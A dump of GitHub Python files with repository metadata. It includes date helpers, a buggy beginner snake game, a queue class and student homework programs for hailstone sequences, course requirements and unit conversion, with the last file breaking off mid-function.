0.6355498433113098, "alphanum_fraction": 0.638107419013977, "avg_line_length": 29.038461685180664, "blob_id": "d5863c79e3ec7f3083cc7305d36f6b4e95d2eee1", "content_id": "01f87019ef49e57c2b64b51c70c565a13f5f0f28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 782, "license_type": "no_license", "max_line_length": 64, "num_lines": 26, "path": "/utils/date_utils.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom dateutil import parser\n\ndef parse_date_from_string(date_string):\n try:\n date = parser.parse(date_string)\n return date\n except ValueError:\n print(\"Incorrect data format, should be YYYY-MM-DD\")\n return False\n\n\ndef convert_datetime_to_string(date_time, type_format):\n if type_format == 1:\n date_time_str = date_time.strftime(\"%Y_%m_%d_T%H_%M_%S\")\n return date_time_str\n elif type_format == 2:\n date_time_str = date_time.strftime(\"%Y_%m_%d\")\n return date_time_str\n\ndef validate(date_text, date_format):\n try:\n date_obj = datetime.strptime(date_text, date_format)\n return date_obj\n except ValueError:\n print (\"Incorrect data format, should be YYYY-MM-DD\")\n\n" }, { "alpha_fraction": 0.5170940160751343, "alphanum_fraction": 0.5363247990608215, "avg_line_length": 25.05555534362793, "blob_id": "b41fc5163d2f752e67a700e23cb5b29304ae59ca", "content_id": "92df9765a240b8a73fedf372c8971720ac928c68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "no_license", "max_line_length": 69, "num_lines": 18, "path": "/test.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "from datetime import datetime\n\nlist_data = [{\"a\":2, \"b\":2,\"c\":\"ccc\"},{\"a\":2, \"b\":1,\"c\":\"xx\"}]\ndata = dict()\n\n# for i in range(1,len(list_data)):\n# for key, val in list_data[0].items():\n# if isinstance(list_data[0][key], str):\n# data[key] = \"\"\n# else:\n# sum_number = sum(list_data[0][key] + list_data[i][key])\n# data[key] = sum_number[0][key]\ndate=datetime.today()\nprint date\n\nyear=date.strftime(\"%Y\")\n\nprint year" } ]
19
16PIYUSH08KUMAR98/SNAKE-GAME
https://github.com/16PIYUSH08KUMAR98/SNAKE-GAME
e02a98987e062bb977b16d5739565fdd74a3fe6e
00699ebafa2fa903e601da4c7268862f7f15f2a0
5ebf01855de118066806e140e4a466c05e93656c
refs/heads/master
2022-11-24T15:57:10.182189
2020-07-11T08:23:24
2020-07-11T08:23:24
278,819,689
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.538112998008728, "alphanum_fraction": 0.5655650496482849, "avg_line_length": 34.44660186767578, "blob_id": "48531745018e6c71bb5956fe56d857dd35fd1279", "content_id": "e183f982ea00d1744571efaa83f2396b03e17b2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3752, "license_type": "no_license", "max_line_length": 94, "num_lines": 103, "path": "/SNAKE GAME.py", "repo_name": "16PIYUSH08KUMAR98/SNAKE-GAME", "src_encoding": "UTF-8", "text": "import pygame\r\nimport time\r\nimport random\r\n#pygame window initialization\r\npygame.init()\r\nclock = pygame.time.Clock()\r\n# Declare the colors using their RGB codes\r\n\r\norangecolor = (255, 123, 7)\r\nblackcolor = (0,0,0)\r\nredcolor = (213,50,80)\r\ngreencolor = (0,255,0)\r\nbluecolor = (50,153,213)\r\n\r\n#display windows's width and height\r\ndisplay_width = 600\r\ndisplay_height = 400\r\ndis = pygame.display.set_mode((display_width, display_height))\r\npygame.display.set_caption('Snake Game') #fix the caption\r\nsnake_block = 10\r\nsnake_speed = 15\r\nsnake_list = []\r\n#Define snake's structure and position\r\ndef snake(snake_block,snake_list):\r\n for x in snake_list:\r\n pygame.draw.rect(dis, greencolor, [x[0],x[1],snake_block])\r\ndef snakegame():\r\n game_over = False\r\n game_end = False\r\n #co-ordinates of the snake\r\n x1 = display_width /2\r\n y1 = display_height/2\r\n #when the snake moves\r\n x1_change = 0\r\n y1_change = 0\r\n\r\n # define the length of the snake\r\n snake_list = []\r\n Length_of_snake = 1\r\n\r\nwhile not game_over:\r\n while game_end == True:\r\n dis.fill(bluecolor)\r\n # font_style = pygame.font.SysFont(\"italics\",25)\r\n # dis.blit(mesg,[ display_width/6,display_height /3])\r\n # displaying the score\r\n score = Length_of_snake - 1\r\n score_font = pygame.font.SysFont(\"italics\", 35)\r\n value = score_font.render(\"Your Score: \" + str(score),True, greencolor)\r\n dis.blit(value, [display_width /3, display_height /5])\r\n pygame.display.update()\r\n for event in pygame.event.get():\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_p:\r\n snakegame()\r\n if event.type == pygame.QUIT:\r\n game_over = True #game window is still open\r\n game_end = False #game has been ended\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n game_over = True\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n x1_change = -snake_block\r\n y1_change = 0\r\n elif event.key == pygame.K_RIGHT:\r\n x1_change = -snake_block\r\n y1_change = 0\r\n elif event.key == pygame.K_UP:\r\n x1_change = -snake_block\r\n y1_change = 0\r\n elif event.key == pygame.K_DOWN:\r\n y1_change = -snake_block\r\n x1_change = 0\r\n if x1 >= display_width or x1 < 0 or y1 >= display_height or y1 < 0:\r\n game_end = True\r\n # updated co-ordinates with the changed positions\r\n x1 += x1_change\r\n y1 += y1_change\r\n dis.fill(blackcolor)\r\n pygame.draw.rect(dis.greencolor,(foodx,foody,snake_block,snake_block]))\r\n snake_Head = []\r\n snake_Head.append(x1)\r\n snake_Head.append(y1)\r\n snake_list.append(snake_Head)\r\n # when the length of the snake exceeds , delete the snake_list which will end the game\r\n if len(snake_list)> Length_of_snake:\r\n del snake_list[0]\r\n # when snake hits itself , game ends\r\n for x in snake_list[:-1]:\r\n if x == snake_Head:\r\n game_end = True\r\n snake(snake_block, snake_list)\r\n pygame.display.update()\r\n # when snake hits the food , the length of the snake is incremented by 1\r\n if x1 == foodx and y1 == foody:\r\n foodx = round(random.randrange(0, display_width-snake_block)/10)*10.0\r\n foody = round(random.randrange(0,display_height-snake_block)/10.0)*10.0\r\n Length _of_snake += 1\r\n Clock.tick(snake_speed)\r\n pygame.quit()\r\n quit()\r\nsnakegame()" } ]
1
Germain-L/Algorithms-and-datastructures
https://github.com/Germain-L/Algorithms-and-datastructures
0071a24601ed36898d6612fdab2afd42506824cb
c095b96bd5e4b5e8e780718e40a4fc77614f5a6b
4557e4e24f90b7f58ec02844a9e9ce27ea73f837
refs/heads/master
2020-12-27T19:42:36.194534
2020-03-04T09:27:27
2020-03-04T09:27:27
238,028,517
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4478873312473297, "alphanum_fraction": 0.45258215069770813, "avg_line_length": 25.625, "blob_id": "1345d40506e9eedc870b0d1faeb2c8af18fd8ef2", "content_id": "581bbf671f196bb0914e1f7c25e250c071c8b3c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 52, "num_lines": 40, "path": "/lib/datastructures/queue.py", "repo_name": "Germain-L/Algorithms-and-datastructures", "src_encoding": "UTF-8", "text": "class Queue:\n #n is the number of items maximum\n def __init__(self, n):\n self.items = []\n self.maxItems = n\n\n def add(self, item):\n if len(self.items) < self.maxItems:\n self.items.append(item)\n \n else:\n if None in self.items:\n adding = True\n while adding:\n for i in range(len(self.items)):\n if self.items[i] == None:\n self.items[i] = item\n adding = False\n else:\n return OverflowError\n\n\n def remove(self):\n if len(self.items) > 0:\n self.temp = self.items[0]\n self.items[0] = None\n self.shift()\n return self.temp\n else:\n return ZeroDivisionError\n\n\n def shift(self):\n for i in range(1, len(self.items)):\n self.temp = self.items[i]\n self.items[i-1] = self.temp\n self.items[i] = None\n\n def output(self):\n print(self.items)\n" }, { "alpha_fraction": 0.8275862336158752, "alphanum_fraction": 0.8275862336158752, "avg_line_length": 57, "blob_id": "97c708197f3eeeb0e365215818f4bea983f3d65c", "content_id": "3d9dc1dca86a9e8ad565b71f3fa94c3da13a3749", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 116, "license_type": "no_license", "max_line_length": 83, "num_lines": 2, "path": "/README.md", "repo_name": "Germain-L/Algorithms-and-datastructures", "src_encoding": "UTF-8", "text": "# Algorithms-and-datastructures\n - My implementations of learnt algorithms and datastructures in the dart language\n" } ]
2
rbirky1/cmsc201-homeworks
https://github.com/rbirky1/cmsc201-homeworks
4b9d112696e6cfbc97347735d5ac7d3fc56dad18
5cc20e04b51de948bbc6052b240f5a1d9c5bd8a7
1fa7d1830f55d4e915c22e6dc0c1bef11a3d4904
refs/heads/master
2020-12-03T05:11:08.621760
2015-07-29T02:02:32
2015-07-29T02:02:32
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6255493760108948, "alphanum_fraction": 0.6475241780281067, "avg_line_length": 36.5054931640625, "blob_id": "fb043a827705e4209f697f30755df9e321b045b8", "content_id": "43f4bdda741fe45bdd863af450fdfd29c01ed418", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3413, "license_type": "no_license", "max_line_length": 86, "num_lines": 91, "path": "/hw3.py", "repo_name": "rbirky1/cmsc201-homeworks", "src_encoding": "UTF-8", "text": "# File: HW3.py\n# Author: Rachael Birky\n# Date: 02.21.2012\n# Section: 02\n# E-mail: [email protected]\n# Description: This program will take the CMSC major classes\n# the user has taken and returns a list of classes still needed\n\ndef main():\n\n import string\n \n # Declare empty list for classes the user has taken\n classesTaken = []\n\n # Lists of required classes\n classesRequiredA = ['CMSC 201', 'CMSC 202', 'CMSC 203', 'CMSC 304',\n 'CMSC 313', 'CMSC 331', 'CMSC 341', 'CMSC 345',\n 'CMSC 411', 'CMSC 421', 'CMSC 441']\n\n classesRequiredB = ['MATH 151', 'MATH 152', 'MATH 221']\n\n classesRequiredC = ['STAT 355','STAT 451']\n\n # Declare empty lists for classes needed\n classesNeededA = []\n classesNeededB = []\n \n # Welcome user. Describe program.\n print \"\\nWelcome to Credit Counter!\"\n print \"This program will tell you which classes you need to take\"\n print \"to fulfill the CMSC major requirements.\"\n\n # Prompt user for number of classes. This variable is used for a for loop\n numClasses = input(\"\\nHow many CS program classes have you taken? \")\n\n print \"\\nEnter each class below in the form <MAJOR-CODE> <COURSE-NUMBER>:\"\n\n # Prompt user for each class in the format <Major Code> <Course Number>\n for i in range(numClasses):\n #Store class in variable userClass\n userClass = raw_input(\"Class: \")\n #Add userClass to the list classesTaken; Accept lowercase\n classesTaken.append(string.upper(userClass))\n\n # Loop through part A requirements to see which classes are not in\n # the list of classes the user has taken\n for i in classesRequiredA:\n if i not in classesTaken:\n classesNeededA.append(i) # Add classes needed to list\n\n #Print list of classes needed for part A\n print \"\\nPart A requirements:\"\n if classesNeededA == []:\n #If all classes taken (an empty list), print \"satisfied\"\n print \"You have satisfied the Part A requirements.\"\n else:\n #If the user still has classes to take, print them using a loop\n for i in range(len(classesNeededA)):\n print \"You need to take \" + classesNeededA[i]\n\n # Loop through part B requirements to see which classes are not in\n # the list of classes the user has taken\n for i in classesRequiredB:\n if i not in classesTaken:\n classesNeededB.append(i) # Add classes needed to list\n\n #Print list of classes needed for part B\n print \"\\nPart B requirements:\"\n if classesNeededB == []:\n #If all classes taken (an empty list), print \"satisfied\"\n print \"You have satisfied the Part B requirements.\"\n else:\n #If the user still has classes to take, print them using a loop\n for i in range(len(classesNeededB)):\n print \"You need to take \" + classesNeededB[i]\n\n #Print part C requirements\n print \"\\nPart C Requirements: \"\n #Check if user has taken STAT 355 or STAT 451\n if (classesRequiredC[0] in classesTaken) or (classesRequiredC[1] in classesTaken):\n #If either, print \"satisfied\"\n print \"You have satisfied the Part C requirements\"\n else:\n #If neither, print \"take STAT355 or STAT 451\"\n print \"You need to take \",\n print classesRequiredC[0] + ' or ' + classesRequiredC[1]\n\n print \"\\nThank you for using Credit Counter! Goodbye!\\n\"\n\nmain()\n" }, { "alpha_fraction": 0.6113701462745667, "alphanum_fraction": 0.6212338805198669, "avg_line_length": 38.54610061645508, "blob_id": "196b7f2faa5f562466334b994966f083f80e9a99", "content_id": "5444c459b8170282114500c3b59f995673fcccb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5576, "license_type": "no_license", "max_line_length": 112, "num_lines": 141, "path": "/hw6.py", "repo_name": "rbirky1/cmsc201-homeworks", "src_encoding": "UTF-8", "text": "#File: hw6.py\n#Author: Rachael Birky\n#Date: 03.12.12\n#Section: 02\n#E-mail: [email protected]\n#Description:This program takes a user-defined number or range, performs\n# a hailstone algorithm, and prints the resulting number\n# chain. It uses a menu to provide options for a number,\n# a range, finding the longest in a range, or quitting.\n\nimport string\nCUT_OFF_LOWER = 1\nCUT_OFF_UPPER = 10000\nSTART_QUESTION = \"Enter starting integer\"\nEND_QUESTION = \"Enter ending integer\"\n\n#printGreeting() greets the user and explains the program purpose\n#input: none\n#output: string greeting\ndef printGreeting():\n print \"Hello and welcome!\"\n print \"This program finds hailstone sequences of numbers you choose.\\n\\\nIf the number is even, the next number in the hailstone sequence is found by\\n\\\ndividing by two.\\n\\\nIf it is odd, the next number is found by multiplying by three and adding one.\\n\"\n\n#printMenu() prints the choices the user can make\n#input: none\n#output: table of options\ndef printMenu():\n print \"\\n\\tI - view sequence for an Individual value\\n\\n\\\n\\tR - view sequence for a Range of values\\n\\n\\\n\\tL - find the Longest chain\\n\\n\\\n\\tQ - Quit\"\n\n#getValidInt() ensures the user-given values are within the desired range\n#input: question (a string customized to minimum and maximum values possible,\n# minValue and maxValue (as defined by the CUTT_OFFs and user given range)\n#output: returns the valid value to be saved in a variable in main()\n#Source Citation: Miner, Don and Sue Evans. Class Notes: Loops. Slide 13.\n# http://www.csee.umbc.edu/courses/undergraduate/201/spring12/lectures/loops.html#(13)\ndef getValidInt(question, minValue, maxValue):\n #initialize value as invalid to enter loop\n value = maxValue + 1\n #create prompt for user\n prompt = question + \" (\" + str(minValue) + \"-\" + str(maxValue) + \"): \"\n #loop until inputted value is valid; set and return value\n while (value == '' or value < minValue or value > maxValue):\n value = raw_input(prompt)\n if len(value) != 0:\n value = int(value)\n return value\n \n#hailstone() performs the hailstone algorithm to the values\n#input: number to be changed\n#output: prints a number chain and returns the length\ndef hailstone(n):\n #initialize chain as an empty string\n chain = \"\"\n count = 1\n #loop until n == 1, concantenate each number to chain\n while (n != 1):\n chain = chain + str(n) + \" -> \"\n if isOdd(n):\n n = 3 * n + 1\n else:\n n = n/2\n count = count + 1\n #when it reaches one, do not add an arrow to end\n chain = chain + str(n)\n #print resulting string\n print chain + \" ; length = \", count\n #count variable used for 'L' option\n return count\n\n#isOdd() determines if the given value is odd\n#input: number n\n#output: boolean True or False\ndef isOdd(n):\n return (n%2 != 0)\n\ndef main():\n #greet user\n printGreeting()\n #initialize number with longest chain to zero\n longestChainNum = 0\n #initialize longest chain to zero in number\n longestChainCount = 0\n #initialize choice to enter while loop\n choice = \"\"\n while(choice!='Q'):\n printMenu()\n #get input from user\n choice = raw_input(\"\\nEnter your choice: \")\n choice = choice.upper()\n\n #evaluate user choice to call correct functions\n if choice == 'I':\n n = input(\"Enter a number (1-10000): \")\n #n should not be one, so return to menu\n if n == 1:\n return\n #call hailstone functions for all other valid inputs\n else:\n while (n < CUT_OFF_LOWER) or (n > CUT_OFF_UPPER):\n n = input(\"\\n*Invalid input!*\\nEnter a number (1-10000): \")\n hailstone(n)\n #get a range from user and call hailstone() the number of times needed\n # to get through all values in range (from start number to end number + 1)\n # initial start and stop are the cut offs (constants, see above)\n elif choice == 'R':\n start = getValidInt(START_QUESTION, CUT_OFF_LOWER, CUT_OFF_UPPER)\n end = getValidInt(END_QUESTION, start, CUT_OFF_UPPER)\n for n in range (start,end+1):\n hailstone(n)\n #perform the same operations as 'R' but keep track of length of chain\n # returned by hailstone()\n elif choice == 'L':\n start = getValidInt(START_QUESTION, CUT_OFF_LOWER, CUT_OFF_UPPER)\n end = getValidInt(END_QUESTION, start, CUT_OFF_UPPER)\n for n in range (start,end+1):\n currentChainCount = hailstone(n)\n #if the current chain is longer, store number and length in\n # longestChainCount and longestChainNum\n if currentChainCount > longestChainCount:\n longestChainCount = currentChainCount\n longestChainNum = n\n #number and count should not be zero! (the initialized value)\n # if it is, tell user there was an error and return to menu\n if longestChainNum == 0 or longestChainCount == 0:\n print \"error\"\n return\n else:\n print \"\\nThe longest chain is %d and is %d numbers long.\" % (longestChainNum, longestChainCount)\n hailstone(longestChainNum)\n elif choice == 'Q':\n print \"Goodbye!\"\n return\n else:\n print \"\\n*\" + choice + \" is not a valid choice. Please choose again.*\"\nmain()\n" }, { "alpha_fraction": 0.6192651987075806, "alphanum_fraction": 0.6331566572189331, "avg_line_length": 34.641693115234375, "blob_id": "cb71d96ce78e6e74124167c16f85f55af3855126", "content_id": "9ed36c28cbcb06619c5cc92ede2121362d5ac62c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10942, "license_type": "no_license", "max_line_length": 113, "num_lines": 307, "path": "/hw8.py", "repo_name": "rbirky1/cmsc201-homeworks", "src_encoding": "UTF-8", "text": "#File: hw8.py\n#Author: Rachael Birky\n#Date: 04.10.12\n#Section: 02\n#E-mail: [email protected]\n#Description:This program converts time, temperature, and currency\n# given the original values and location of user\n# (London,Stockholm, Tampere, Helsinki, or St. Petersburg\n\n\nTIME = 1\nCURRENCY = 2\nTEMPERATURE = 3\nQUIT = 4\n\nMAIN_MENU_MIN = TIME\nMAIN_MENU_MAX = QUIT\n\nMIN_HRS = 0\nMAX_HRS = 23\n\nMIN_MIN = 0\nMAX_MIN = 59\n\nLOCATION_CHOICES = [\"L\", \"S\", \"T\", \"H\", \"P\"]\n\nLONDON_HRS = 5\nSTOCKHOLM_HRS = 6\nTAMPERE_HRS = 7\nHELSINKI_HRS = TAMPERE_HRS\nST_PETE_HRS = 8\n\nPOUNDS = 1.53730\nKRONORS = 0.139083\nEUROS = 1.34960\nRUBLES = 0.0343348\n\nTWELVE_HR = 12\nTWENTY_FOUR_HR = 23\n\n# input: none\n# output: none (prints a greeting)\n# printGreeting() displays a suitable greeting to the user\ndef printGreeting():\n print \"Welcome to the 'World Traveler'program.\\\nThis program will convert time, currency, and temperature\\\nfor specific areas.\"\n\n# input: none\n# output: none (prints the main menu with conversion types\n# displayMainMenu() displays the main menu choices\ndef displayMainMenu():\n print \"\\nWhat would you like to convert?\"\n print \"\\n\\t1 - Time\\n\\t2 - Currency\\n\\t3 - Temperature\\n\\t4 - Quit\"\n print\n\n# input: none\n# output: none (print the location menu)\n# displayLocationsMenu() displays the location menu choices\ndef displayLocationsMenu():\n print \"\\nChoose a location or M to return to Main Menu\"\n print \"\\n\\tL - London\\n\\tS - Stockholm\\n\\tT - Tampere\"\n print \"\\tH - Helsinki\\n\\tP - St. Petersburg\"\n print \"\\tM - Return to Main Menu\"\n print\n\n\n# input: none\n# output: none (prints the converted time by calling getValidTime()\n# and foreignTimeToEastern())\n# convertTime() handles all of the user input, processing,\n# and output dealing with converting time\ndef convertTime():\n print\n\n #get user input\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n\n #validation loop\n while (location not in LOCATION_CHOICES) and (location != \"M\"):\n print \"\\n*%s is not a valid choice. Try again.\" % (location)\n #display menu again and get user input\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n\n #loop through options and results as long as user selects valid choice\n #when M is entered, go to main menu\n while (location in LOCATION_CHOICES) and (location != \"M\"):\n #validate time\n timeTuple = getValidTime()\n\n #call conversion function, assign return values to variables,\n # print appropriate statement\n if (location == \"L\"):\n #*****************************************************\n #* These statement will not fit within 80 characters *\n #* and still retain variable name meaning!! *\n #*****************************************************\n estHr, estMin, abbrev = foreignTimeToEastern(timeTuple[0], timeTuple[1], LONDON_HRS)\n print \"%d:%02d in London is %d:%02d %s EST\" % (timeTuple[0],timeTuple[1],estHr,estMin,abbrev)\n elif (location == \"S\"):\n estHr, estMin, abbrev = foreignTimeToEastern(timeTuple[0], timeTuple[1], STOCKHOLM_HRS)\n print \"%d:%02d in Stockholm is %d:%02d %s EST\" % (timeTuple[0],timeTuple[1],estHr,estMin,abbrev)\n elif (location == \"T\"):\n estHr, estMin, abbrev = foreignTimeToEastern(timeTuple[0], timeTuple[1], TAMPERE_HRS)\n print \"%d:%02d in Tampere is %d:%02d %s EST\" % (timeTuple[0],timeTuple[1],estHr,estMin,abbrev)\n elif (location == \"H\"):\n estHr, estMin, abbrev = foreignTimeToEastern(timeTuple[0], timeTuple[1], HELSINKI_HRS)\n print \"%d:%02d in Helsinki is %d:%02d %s EST\" % (timeTuple[0],timeTuple[1],estHr,estMin,abbrev)\n elif (location == \"P\"):\n estHr, estMin, abbrev = foreignTimeToEastern(timeTuple[0], timeTuple[1], ST_PETE_HRS)\n print \"%d:%02d in St. Petersburg is %d:%02d %s EST\" % (timeTuple[0],timeTuple[1],estHr,estMin,abbrev)\n\n #get user input again\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n \n\n #validation\n while (location not in LOCATION_CHOICES) and (location != \"M\"):\n print \"\\n*%s is not a valid choice. Try again.\" % (location)\n #display menu again and get user input\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n \n\n# input: none\n# output: none (prints converted currency by calling getPositiveReal()\n# and foreignToDollars())\n# convertCurrency() handles all of the user input, processing,\n# and output dealing with converting currency\ndef convertCurrency():\n print\n\n #get user input\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n\n #validation loop\n while (location not in LOCATION_CHOICES) and (location != \"M\"):\n #validation warning\n print \"\\n*%s is not a valid choice. Try again.\" % (location)\n #display menu again and get user input\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n\n #loop through options as long as user selects valid choice\n #when M is entered, go to main menu\n while (location in LOCATION_CHOICES) and (location != \"M\"):\n\n #ask appropriate question, call conversion function and print result\n if (location == \"L\"):\n amount = getPositiveReal(\"How many pounds? \")\n usd = foreignToDollars(amount, POUNDS)\n print \"\\n%.2f pounds is $%.2f\" % (amount, usd)\n elif (location == \"S\"):\n amount = getPositiveReal(\"How many Kronors? \")\n usd = foreignToDollars(amount, KRONORS)\n print \"\\n%.2f kronors is $%.2f\" % (amount, usd)\n elif (location == \"T\" or location == \"H\"):\n amount = getPositiveReal(\"How many Euros? \")\n usd = foreignToDollars(amount, EUROS)\n print \"\\n%.2f euros is $%.2f\" % (amount, usd)\n elif (location == \"P\"):\n amount = getPositiveReal(\"How many Rubles? \")\n usd = foreignToDollars(amount, RUBLES)\n print \"\\n%.2f rubles is $%.2f\" % (amount, usd)\n\n #get user input\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n \n #validation loop\n while (location not in LOCATION_CHOICES) and (location != \"M\"):\n #validation warning\n print \"\\n*%s is not a valid choice. Try again.\" % (location)\n #display menu again and get user input\n displayLocationsMenu()\n location = raw_input(\"Enter location or M to return to Main Menu: \")\n location = location.upper()\n \n\n# input: celius value as a float\n# output: none (prints converted farenheit value as float)\n# convertTemp() handles all of the user input, processing,\n# and output dealing with converting temperature\ndef convertTemp(celsius):\n farenheit = celsiusToFarenheit(celsius)\n print \"\\n%.1f degrees C is %.1f degrees F\" % (celsius, farenheit) \n\n\n# input: hour int, minute int, hour adjustment int\n# output: returns adjusted hour as estHour int, minute alias estMin\n# and appropriate AM or PM abbreviation\n# foreignTimeToEastern() changes the hour in 24 hour format\n# by the adjustment amount passed into EST in 12 hour format\n# with appropriate AM or PM\ndef foreignTimeToEastern(hour, minute, adjustment):\n print\n #adjust time for time zone\n estHour = hour - adjustment\n\n #if the 24 time adjusted is greater than 24, loop around\n if estHour < 0:\n estHour += TWENTY_FOUR_HR\n\n #if time is less than 12, it is AM\n #does not need conversion to 12 time\n if (estHour < TWELVE_HR):\n abbrev = \"AM\"\n else:\n abbrev = \"PM\"\n #convert to twelve hour time\n estHour = estHour - TWELVE_HR\n\n if (estHour == 0):\n estHour = 12\n \n #minutes do not change\n estMin = minute\n return estHour, estMin, abbrev\n\n\n# input: units, conversion factor float\n# output: converted currency as a float\n# foreignToDollars() accepts the number of units of a foreign currency\n# and a conversion factor and returns the equivalent number of US dollars\ndef foreignToDollars(units, conv):\n return units * conv\n\n\n# input: celcius value as a float\n# output: celcius converted to farenheit float\n# celsiusToFarenheit() returns the fahrenheit equivalent\n# of the celsius temperature passed in\ndef celsiusToFarenheit(celsius):\n farenheit = celsius * 1.8 + 32\n return farenheit\n\n\n# input: none\n# output: hour and minute ints in a tuple called timeTuple\n# getValidTime() returns a time between 00:00 and 23:59,\n# inclusive, as an hour, minute tuple\ndef getValidTime():\n print \"\\nWhat time is it?\\n\"\n hour = getValidInt(\"Enter the hour (0 - 23): \", MIN_HRS, MAX_HRS)\n minute = getValidInt(\"Enter the minute (0 - 59): \", MIN_MIN, MAX_MIN)\n timeTuple = hour, minute\n return timeTuple\n\n\n# input: question str, MIN int, MAX int\n# output: loops until valid input is received, then returns the valid input\n# getValidInt() prompts the user and gets an integer from the user\n# between min and max, inclusive and returns that valid integer\ndef getValidInt(question, MIN, MAX):\n choice = MAX + 1\n while (choice > MAX) or (choice < MIN):\n choice = input(question)\n if (choice > MAX) or (choice < MIN):\n print \"\\n*%d isn't a valid choice. Try again.*\" % (choice)\n return choice\n\n\n# input: question str\n# output: loops until valid amount is entered, then returns the valid amount\n# getPositiveReal() prompts the user and returns a positive float\ndef getPositiveReal(question):\n print\n amount = -1.0\n while (amount < 0):\n amount = input(question)\n if (amount < 0):\n print \"\\n*%.2f is not a valid choice. Try again.*\" % (amount)\n \n return amount\n\n\ndef main():\n printGreeting()\n choice = TIME\n \n while (choice != QUIT):\n displayMainMenu()\n choice = getValidInt(\"Your Choice (1-4): \", MAIN_MENU_MIN, MAIN_MENU_MAX)\n\n #call appropriate functions for each menu choice\n if (choice == TIME):\n convertTime()\n elif (choice == CURRENCY):\n convertCurrency()\n elif (choice == TEMPERATURE):\n celsius = input(\"\\nWhat is the Celsius temperature? \")\n convertTemp(celsius)\n elif (choice == QUIT):\n print \"Goodbye!\"\n \nmain()\n" }, { "alpha_fraction": 0.6107540130615234, "alphanum_fraction": 0.6213844418525696, "avg_line_length": 34.9555549621582, "blob_id": "1856351cae98cd0cd04beda4fcb49a64bbea8a7c", "content_id": "8736ee7bafb065efde8b5367916b5b905ad0ef67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8090, "license_type": "no_license", "max_line_length": 112, "num_lines": 225, "path": "/hw7.py", "repo_name": "rbirky1/cmsc201-homeworks", "src_encoding": "UTF-8", "text": "#File: hw7.py\n#Author: Rachael Birky\n#Date: 04.02.12\n#Section: 02\n#E-mail: [email protected]\n#Description:This program takes a user-defined number or range, performs\n# a hailstone algorithm, and prints the resulting number\n# chain. It uses a menu to provide options for a number,\n# a range, finding the longest in a range, or quitting.\n# NOW WITH GRAPHICS\n\n\nfrom graphics import *\nimport string\nfrom time import sleep\n\nCUT_OFF_LOWER = 1\nCUT_OFF_UPPER = 10000\nSTART_QUESTION = \"Enter starting integer\"\nEND_QUESTION = \"Enter ending integer\"\n\nWINDOW_HEIGHT = 500\nWINDOW_WIDTH = 500\n\nX_NUM_RANGE = 10\nY_NUM_RANGE = 4\n\nCORNER_BUFFER = 30\nSIDE_BUFFER = 10\n\nX_SPACING = WINDOW_WIDTH / X_NUM_RANGE\nY_SPACING = (WINDOW_HEIGHT / Y_NUM_RANGE) - SIDE_BUFFER\n\nREC_WIDTH = 20\nDRAW_AREA = WINDOW_HEIGHT - SIDE_BUFFER\n\n#printGreeting() greets the user and explains the program purpose\n#input: none\n#output: string greeting\ndef printGreeting():\n print \"Hello and welcome!\"\n print \"This program finds hailstone sequences of numbers you choose.\\n\\\nIf the number is even, the next number in the hailstone sequence is found by\\n\\\ndividing by two.\\n\\\nIf it is odd, the next number is found by multiplying by three and adding one.\\n\"\n\n#printMenu() prints the choices the user can make\n#input: none\n#output: table of options\ndef printMenu():\n print \"\\n\\tI - view sequence for an Individual value\\n\\n\\\n\\tR - view sequence for a Range of values\\n\\n\\\n\\tL - find the Longest chain\\n\\n\\\n\\tH - view a Histogram of chain lengths for a range\\n\\n\\\n\\tQ - Quit\"\n\n#getValidInt() ensures the user-given values are within the desired range\n#input: question (a string customized to minimum and maximum values possible,\n# minValue and maxValue (as defined by the CUTT_OFFs and user given range)\n#output: returns the valid value to be saved in a variable in main()\n#Source Citation: Miner, Don and Sue Evans. Class Notes: Loops. Slide 13.\n# http://www.csee.umbc.edu/courses/undergraduate/201/spring12/lectures/loops.html#(13)\ndef getValidInt(question, minValue, maxValue):\n #initialize value as invalid to enter loop\n value = maxValue + 1\n #create prompt for user\n prompt = question + \" (\" + str(minValue) + \"-\" + str(maxValue) + \"): \"\n #loop until inputted value is valid; set and return value\n while (value == '' or value < minValue or value > maxValue):\n value = raw_input(prompt)\n if len(value) != 0:\n value = int(value)\n return value\n \n#hailstone() performs the hailstone algorithm to the values\n#input: number to be changed\n#output: prints a number chain and returns the length\ndef hailstone(n):\n #initialize chain as an empty string\n chain = \"\"\n count = 1\n #loop until n == 1, concantenate each number to chain\n while (n != 1):\n chain = chain + str(n) + \" -> \"\n if isOdd(n):\n n = 3 * n + 1\n else:\n n = n/2\n count = count + 1\n #when it reaches one, do not add an arrow to end\n chain = chain + str(n)\n #print resulting string\n print chain + \" ; length = \", count\n #count variable used for 'L' option\n return 